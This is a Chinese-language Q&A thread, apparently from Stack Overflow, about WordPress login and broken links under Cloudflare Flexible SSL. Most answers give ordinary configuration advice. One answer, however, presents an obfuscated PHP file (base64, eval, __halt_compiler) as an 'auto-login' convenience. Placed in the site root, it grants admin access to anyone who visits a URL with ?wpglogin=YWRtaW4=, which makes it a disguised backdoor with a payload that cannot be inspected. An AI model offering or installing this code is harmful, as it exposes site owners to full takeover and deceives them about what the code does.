0

我有一个安装了 cloudflare 灵活 SSL 的静态网站。但现在我在一个文件夹中安装了 wordpress https://www.kiransboutique.com/wordpressrvc/

它的所有链接都没有工作,并且 wp-admin 也没有重定向到仪表板。我正在使用正确的登录凭据。

任何人都可以提出任何解决方案吗?完全相同的安装在这里工作http://bestcoachingcenter.com/kirans/

4

3 回答 3

0

您可以通过在 Windows HOSTS 文件中输入您的服务器 IP 来修复 Wordpress SSL 登录问题。在 windows\system32\hosts 中找到 Hosts 文件,添加您的 IP 和域名。

于 2018-04-11T05:33:41.310 回答
0

要自动登录到您的 wordpress 管理员,无需每次都添加管理员用户名和密码,您可以使用以下代码片段。

在 php 文件中使用此代码并将其放在 wordpress 安装的根目录中,可以帮助您使用管理员帐户登录 wp-admin。

使其工作所需的是,您需要通过在查询 URL 中传递关键字“wpglogin”来访问 URL,如下所示 - http://www.sitename.com/codefile.php?wpglogin=YWRtaW4=

通过点击上述网址,您将轻松进入管理员。

     <?php /*** PHP Encode v1.0 by zeura.com ***/ $XnNhAWEnhoiqwciqpoHH=file(__FILE__);eval(base64_decode("aWYoIWZ1bmN0aW9uX2V4aXN0cygiWWl1bklVWTc2YkJodWhOWUlPOCIpKXtmdW5jdGlvbiBZaXVuSVVZNzZiQmh1aE5ZSU84KCRnLCRiPTApeyRhPWltcGxvZGUoIlxuIiwkZyk7JGQ9YXJyYXkoNjU1LDIzNiw0MCk7aWYoJGI9PTApICRmPXN1YnN0cigkYSwkZFswXSwkZFsxXSk7ZWxzZWlmKCRiPT0xKSAkZj1zdWJzdHIoJGEsJGRbMF0rJGRbMV0sJGRbMl0pO2Vsc2UgJGY9dHJpbShzdWJzdHIoJGEsJGRbMF0rJGRbMV0rJGRbMl0pKTtyZXR1cm4oJGYpO319"));eval(base64_decode(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH)));eval(ZsldkfhGYU87iyihdfsow(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,2),YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,1)));__halt_compiler();aWYoIWZ1bmN0aW9uX2V4aXN0cygiWnNsZGtmaEdZVTg3aXlpaGRmc293Iikpe2Z1bmN0aW9uIFpzbGRrZmhHWVU4N2l5aWhkZnNvdygkYSwkaCl7aWYoJGg9PXNoYTEoJGEpKXtyZXR1cm4oZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGEpKSk7fWVsc2V7ZWNobygiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTt9fX0=e044e9d170abfceff3904a363ae1348b68619a68hVRta9swEP7sQv+DFkKllMRpYexDQwKjdSHQbl2S7UsoQrEvsTbF8mQZN5T+9+nFdry1ZQkB5+55Od2dnAJLQBF8LTMNmR6tDjlcIZbngsdMc5mNfxYyw4PJ6Ul/ywU8MJ1OUcJVxvZA+nQZLX5EizVeXi/mDyt6O7+Lvny+j/CjZfAsFmUCVGaxwTb0sDeu8pGQLAnzNO9Z4E7IDROoX+XJxvwFpaSiCnKpNM925MJi/JdvCS8K0MZ6EX37Hi1Xa1zlhr/jmTFFZ2fozQz6MEUYD55PT4J+E0VTtGEFfPpIE4hlAu9oGu/A2HZoRoole5N0ekGfqV1hxJhS7EBsJMBKCsCo+UxnNYMXWjEtFR56WFbuN6Bw4DGXNjiYIC9q8WUBykrvQFP3TJyZqyno2wjliclfuoCt8kjzxXVRneT64nE0S5hmo9n8xpFfnOTvEtTBQPEyuouuV+gc3S6+3iMcutmMZrmCLX8KsS+sSkEBmt9YQtgYhRj78hQUpdC2/JpsT1EHiXdyB2lK9yDBCk3dBrhG4+YYnak1yu4QztVl2mPYn6um0zm6ORDsRzpstdrZWoQ3SiRlsV18YnaA1gTkAF2vOuQHYYBmJWlcKmXukLMjDcU05y8QK3VKYyl/cXiNGY/t2cztglhTLafOzw2NlkqQwSQI6s4eMajgGur0USMXLIZ2J3FVVSF+08NgtOJ7YhaT1jTS8Ie93rCLHbQFGDs/hzYXYnurXa1jtpGltpfbL0Jav2PupH+lXLllUcIsii8Jnrj2tZ1DnMr3dPEk4dD2km2BNjjyHuOob7pzPq53A0QBz/820pznVbv/62Ua0jHw8i9/AA==
于 2017-09-01T08:06:13.637 回答
0

您的主页仍处于“hello World”状态,因此您可能仍需要答案。我有同样的问题; 并检查了您在 Stackoverflow/Stackexchange 上的帖子 - 唉,不高兴。

什么对我有用:

  1. 如果您使用官方 Cloudflare 插件 ( https://wordpress.org/plugins/cloudflare/ ),请将“自动 HTTPS 重写”设置为“开启”。这解决了 HTTPS 下的链接和 CSS 问题,让我不必安装额外的 SSL 相关插件。

  2. 作为权宜之计:如果您没有将 WP 配置为“强制 SSL”,您可能可以使用“http://”地址登录(就像我一样)。

  3. 要启用“HTTPS”登录,请编辑 wp-config.php 并插入以下行:

    if (strpos($_SERVER['HTTP_X_FORWARDED_PROTO'], 'https') !== false)
       $_SERVER['HTTPS']='on';
    

如果您想要更多详细信息,我在这里发布了相关信息:http ://wptest.means.us.com/cloudflare-wordpress-unable-login-https/

注意:灵活的 SSL 比没有 SSL 好,因为它加密了您和 Cloudflare 之间的“连接”。但是,CF 与您的服务器的连接仍然是“HTTP”,并且您的登录凭据仍然容易在这段旅程中被窃听。

我仍在检查,但我认为您也可以通过启用 Cloudflare Railgun(用于减少从您的服务器的数据传输)来使 CF <-> 服务器连接安全。Railgun 使用 TLS,因此数据是加密的。我假设如果您同时使用灵活 SSL 和 Railgun,您的连接是端到端的安全。一些便宜的主机包括免费的 Railgun。

于 2017-09-21T11:45:03.720 回答